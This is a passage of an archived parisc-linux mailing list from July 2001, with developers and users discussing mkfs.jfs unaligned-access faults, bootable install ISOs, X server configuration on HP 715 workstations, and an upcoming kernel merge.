        Warning!  All data on device /dev/sdb1 will be lost!

        Continue? (Y/N) Y
	<4>mkfs.jfs(379): unaligned access to 0x00035245 at ip=0x000137af
	Not-handled unaligned insn 0x4a740108
	Unaligned handler failed, ret = -1

(optionally without <4> or with Bus error)

Is it JFS's fault or that of the PA-RISC-Linux port? The messages do
not seem to be from mkfs.jfs, as I did not find anything like that
in its source. Is it too early to try things like this?

Peter.





From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JFS on PA-RISC-Linux
Date: Tue, 3 Jul 2001 16:15:09 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010703161509.A6103@parcelfarce.linux.theplanet.co.uk>
References: <20010702180851.A19547@nickel.kgarner.com> <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620255 21605 80.91.229.3 (22 Nov 2014 01:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:35 +0000 (UTC)
Cc: jfs-discussion@oss.software.ibm.com,
	parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 09:15:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8627E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 09:15:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15HRtN-0002cE-00; Tue, 03 Jul 2001 16:15:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Tue, Jul 03, 2001 at 12:51:27PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11469

On Tue, Jul 03, 2001 at 12:51:27PM +0200, Peter Weilbacher wrote:
> 	<4>mkfs.jfs(379): unaligned access to 0x00035245 at ip=0x000137af
> 	Not-handled unaligned insn 0x4a740108
> 	Unaligned handler failed, ret = -1
> 
> (optionally without <4> or with Bus error)
> 
> Is it JFS's fault or that of the PA-RISC-Linux port? The messages do
> not seem to be from mkfs.jfs, as I did not find anything like that
> in its source. Is it too early to try things like this?

It's the fault of both, really.  The userspace program is attempting to do
an unaligned access.  say, loading an int from a non-word-aligned address.
Most CPUs can't handle this and take a fault.  We haven't yet implemented
a trap handler for that fault.

Or rather, tausq has implemented one, but hasn't activated it yet,
I believe.... tausq?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JFS on PA-RISC-Linux
Date: Tue, 03 Jul 2001 09:21:00 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200107031521.JAA05441@puffin.external.hp.com>
References: <weilbach@uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620255 21610 80.91.229.3 (22 Nov 2014 01:37:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:35 +0000 (UTC)
Cc: jfs-discussion@oss.lotus.com, parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 09:22:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FADB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 09:22:15 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA05441;
	Tue, 3 Jul 2001 09:21:00 -0600
In-Reply-To: Message from Peter Weilbacher <weilbach@uni-sw.gwdg.de> 
   of "Tue, 03 Jul 2001 12:51:27 +0200." <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11470

Peter Weilbacher wrote:
...
I can't comment on the bus error.

>         mkfs.jfs development version: $Name: v1_0_0 $
> 
>         Warning!  All data on device /dev/sdb1 will be lost!
> 
>         Continue? (Y/N) Y
> 	<4>mkfs.jfs(379): unaligned access to 0x00035245 at ip=0x000137af
> 	Not-handled unaligned insn 0x4a740108
> 	Unaligned handler failed, ret = -1
> 
> (optionally without <4> or with Bus error)
> 
> Is it JFS's fault or that of the PA-RISC-Linux port?

The parisc-linux port. Randolph Chung recently added support for unaligned
access emulation.  Randolph needs more info to fix this problem.
See http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012946.html

> The messages do
> not seem to be from mkfs.jfs, as I did not find anything like that
> in its source. Is it too early to try things like this?

No. If no one tries, we won't know what's broken. The basic stuff works.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JFS on PA-RISC-Linux
Date: Tue, 3 Jul 2001 16:26:15 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20010703162615.D6103@parcelfarce.linux.theplanet.co.uk>
References: <20010702180851.A19547@nickel.kgarner.com> <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620256 21615 80.91.229.3 (22 Nov 2014 01:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:36 +0000 (UTC)
Cc: jfs-discussion@oss.software.ibm.com,
	parisc-linux@lists.parisc-linux.org
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 09:26:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA74482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 09:26:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15HS47-0002kS-00; Tue, 03 Jul 2001 16:26:15 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>; from weilbach@uni-sw.gwdg.de on Tue, Jul 03, 2001 at 12:51:27PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11471

Please do not cc closed (moderated) lists and lists at parisc-linux.org.
Failure to follow this friendly warning may result in offenders being
barred from lists on this server.  Thanks.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JFS on PA-RISC-Linux
Date: Tue, 3 Jul 2001 09:01:36 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20010703090136.D31475@tausq.org>
References: <20010702180851.A19547@nickel.kgarner.com> <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de> <20010703161509.A6103@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620256 21617 80.91.229.3 (22 Nov 2014 01:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:36 +0000 (UTC)
Cc: Peter Weilbacher <weilbach@uni-sw.gwdg.de>,
	jfs-discussion@oss.software.ibm.com,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 10:02:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E693482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 10:02:19 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id busmgaaa for parisc-linux@lists.parisc-linux.org; Tue, 3 Jul 2001 08:58:38 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15HScK-00036J-00; Tue, 03 Jul 2001 09:01:36 -0700
Content-Disposition: inline
In-Reply-To: <20010703161509.A6103@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11472

> It's the fault of both, really.  The userspace program is attempting to do
> an unaligned access.  say, loading an int from a non-word-aligned address.
> Most CPUs can't handle this and take a fault.  We haven't yet implemented
> a trap handler for that fault.
> 
> Or rather, tausq has implemented one, but hasn't activated it yet,
> I believe.... tausq?

The trap handler is activated but doesn't handle this particular load
instruction yet. I'll fix this tomorrow.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting images
Date: Tue, 3 Jul 2001 15:12:02 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20010703151202.H19064@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620256 21621 80.91.229.3 (22 Nov 2014 01:37:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:36 +0000 (UTC)
To: Parisc Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 13:12:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C10BC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jul 2001 13:12:03 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id PAA00741
	for parisc-linux@lists.parisc-linux.org; Tue, 3 Jul 2001 15:12:02 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:11473

I have a 735 and have had a bit of a time to try to get this thing to
boot and install. I have downloaded the palinux-0.9-32sti.iso.gz file
from the parisc website. Is there anything special I have to do to this
image to make it bootable? 

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Free machines in the Bay Area
Date: Wed, 4 Jul 2001 00:15:30 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010704001530.J6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620257 21626 80.91.229.3 (22 Nov 2014 01:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 17:15:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FEA3482A
	for <parisc-linux@parisc-linux.org>; Tue,  3 Jul 2001 17:15:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15HZOE-0001Bx-00
	for parisc-linux@parisc-linux.org; Wed, 04 Jul 2001 00:15:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11474

I've been informed there are a couple of PA machines in the Bay Area
free to a good home [owner is moving to Florida].  Whoever wants them
has to take both of them and the one big monitor.  There's a 715/100
and a 712/60 -- not sure which monitor it is, but probably a 17" colour
monitor (A4033A).

No further details available at this point, please contact the owner
directly at +1 510 5435345 to arrange when to pick them up.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Free machines in the Bay Area
Date: Wed, 4 Jul 2001 00:37:17 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20010704003717.L6103@parcelfarce.linux.theplanet.co.uk>
References: <20010704001530.J6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620257 21628 80.91.229.3 (22 Nov 2014 01:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  3 17:37:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B762482A
	for <parisc-linux@parisc-linux.org>; Tue,  3 Jul 2001 17:37:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15HZjJ-0001Q2-00; Wed, 04 Jul 2001 00:37:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010704001530.J6103@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Jul 04, 2001 at 12:15:30AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11475

On Wed, Jul 04, 2001 at 12:15:30AM +0100, Matthew Wilcox wrote:
> monitor (A4033A).

It's an A2094A, sorry for the confusion.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to access the second serial port on a B180 with PALINUX
Date: Wed, 4 Jul 2001 08:59:39 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <OFA73CA243.24E46DAD-ONC1256A7F.0022F3A1@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620257 21632 80.91.229.3 (22 Nov 2014 01:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 01:10:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41A38482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 01:10:05 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5489995e41@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 4 Jul 2001 09:09:42 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/04/2001 09:05:19 AM
Xref: news.gmane.org gmane.linux.ports.parisc:11476

Hio,

I just re-install my B180 with the last palinux-0.9 CD.

With STI console gpm also works excepted that it do not highlight a
double-click selection (but selection works)?

I would also like to test the second serial port available on this model.
Is any have tips or idea?

Thanks in advance for help,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.1 ISO Release
Date: Wed, 04 Jul 2001 10:59:04 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010704085904.78D77D15B5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620257 21634 80.91.229.3 (22 Nov 2014 01:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 02:59:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41983482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 02:59:11 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id 78D77D15B5
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 10:59:04 +0200 (CEST)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11477

Hi all,                                                               
                                                                      
	You can find the latest ISO (0.9.1) at                               
http://mkhppa1.esiee.fr/download.html                                 
As you will see, the kernel gets the last changes and there is no more
serial or sti version...                                              
                                                                      
	Try it and please feedback to the mailing list...                    
                                                                      
Regards, Thomas                                                       
ESIEE Team                                                            




From - Thu Nov 08 21:18:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: X Windows under HP
Date: Wed, 4 Jul 2001 16:52:06 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20010704145321.5BF29482A@dsl2.external.hp.com>
References: <994234306.3b42cfc21ab7f@imp3-1.free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620258 21636 80.91.229.3 (22 Nov 2014 01:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: colas.sebastien@free.fr, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 08:53:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5BF29482A
	for <parisc-linux@parisc-linux.org>; Wed,  4 Jul 2001 08:53:21 -0600 (MDT)
Original-Received: (qmail 15538 invoked by uid 0); 4 Jul 2001 14:53:15 -0000
Original-Received: from pd90403a4.dip.t-dialin.net (HELO there) (217.4.3.164)
  by mail.gmx.net (mail09) with SMTP; 4 Jul 2001 14:53:15 -0000
X-Mailer: KMail [version 1.2.9]
In-Reply-To: <994234306.3b42cfc21ab7f@imp3-1.free.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:11478

Note: CC'd to parisc-linux@parisc-linux.org

On Wednesday 04 July 2001 10:11, colas.sebastien@free.fr wrote:
>
> First I have an HP Apollo 715/100 with about 100 Mo RAM.
> I finnally succed in installing linux on it after 4 CD burning,
> can you make your .iso directly bootable please.

All of our until now released iso images are and have been
bootable. Maybe you have problems booting the cd, because:

a) you have an "old" cdrom-drive, which can't handle burned cd's.
(I have the same problem here with a Philips PCA80SC cdrom-drive, 
which also doesn't seem to be able to read from a not-self-burned 
credit-card cd :-)
or:
b) you have used a stupid windows program to burn your CD and 
didn't burned it 1:1.

> When i boot under Linux I have a specific harddrive for it,
> sometimes and the end of the procedure when the login must
> be displayed the system crash and I saw all the registry
> variables. I have the same problem with 'vi' when I press
> ctrl-d when I am at the end of the document my linux crash.
> Do you know that problem, is there a fix ?

I have fixed the "vi"-problem in one of the latest kernel versions, but 
can't say you anything about your other problem.

> When I installed my linux I saw there is a package naming
> something like X-Windows-core.hppa.deb, there are also some
> packages like xtris. I installed all these package.
> I searched the XFreeConfig or Xstart or all the program with
> a 'X' and there are nothing.
> So the question is:
> - Is X Window supported on my system ???

Yes - But AFAIK the X-Framebuffer server (xfbdev) is the only supported 
one at this moment. Your 715/100 has an artist gfx chip, so it should work 
for you.

> - If yes what shall I do to run it ???

a) Install the latest kernel and make sure that stifb is activated and used!
(THIS WILL ONLY WORK FOR SOME OF THE 712 AND 715 MODELS!)
b) Install the xserver-xfree86, xfonts*, xlibs*, xbase* and xutils packages
c) Since you have a 715/100 system I assume you have a HIL keyboard.
In this case you have to modify your /etc/X11/XF86Config-4 in the 
keyboard-InputDevice-section:
Option	"XkbdRules"	"xfree86"
Option	"XkbModel"	"hphil"
and insert the following "hphil" line to /etc/X11/xkb/rules/xfree86:
  hp            =       xfree86         pc(pc104)
  hphil         =       hp(hil)         hp(hil)	<--- Add this one !!
d) The HIL-mouse is not supported yet. Instead I attached a serial mouse
to one of the serial ports and modified /etc/X11/XF86Config-4 to use this
mouse.
e) As graphic driver use the fbdev-driver in your "Device" section:
Driver	"fbdev"
f) Now you should be able to boot up the X server and use a simple 
window-manager like vtwm.

> - I supposed the X Window is a modified version to run under
>   HP. Am I rigth ?

No. But it may become true if we want to support other graphic chips in
newer HP systems.

Greetings,
Helge




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting images
Date: Wed, 04 Jul 2001 09:03:08 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <200107041503.JAA16561@puffin.external.hp.com>
References: <timball@tux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620258 21637 80.91.229.3 (22 Nov 2014 01:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:38 +0000 (UTC)
Cc: Parisc Linux Mailing List <parisc-linux@lists.parisc-linux.org>
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 09:03:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42875482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Jul 2001 09:03:49 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA16561;
	Wed, 4 Jul 2001 09:03:08 -0600
In-Reply-To: Message from Timothy Ball <timball@tux.org> 
   of "Tue, 03 Jul 2001 15:12:02 EDT." <20010703151202.H19064@gwyn.tux.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11479

Timothy Ball wrote:
> I have a 735 and have had a bit of a time to try to get this thing to
> boot and install. I have downloaded the palinux-0.9-32sti.iso.gz file
> from the parisc website. Is there anything special I have to do to this
> image to make it bootable? 

gunzip the .gz, burn a CD from the ISO, boot the 735 from the CD.
Read the how-to-install URL:
http://www.parisc-linux.org/software/install.html

ESIEE also has written how-to's which might be more up-to-date.
The parisc-linux mail archive (see http://lists.parisc-linux.org/)
has the URL's - most likely in the June 2001 archive if you don't
want to search.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upcoming kernel merge
Date: Wed, 4 Jul 2001 16:26:59 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20010704162659.M6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620258 21646 80.91.229.3 (22 Nov 2014 01:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  4 09:27:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 635BE482A
	for <parisc-linux@parisc-linux.org>; Wed,  4 Jul 2001 09:27:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15HoYN-0002gG-00
	for parisc-linux@parisc-linux.org; Wed, 04 Jul 2001 16:26:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11480

We're planning on merging to 2.4.6 on Thursday afternoon, starting
at 3pm Mountain time (21:00 UTC, 2pm San Francisco, 5pm Ottawa, 11pm
Paris/Berlin).  We'll coordinate this on IRC as usual.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
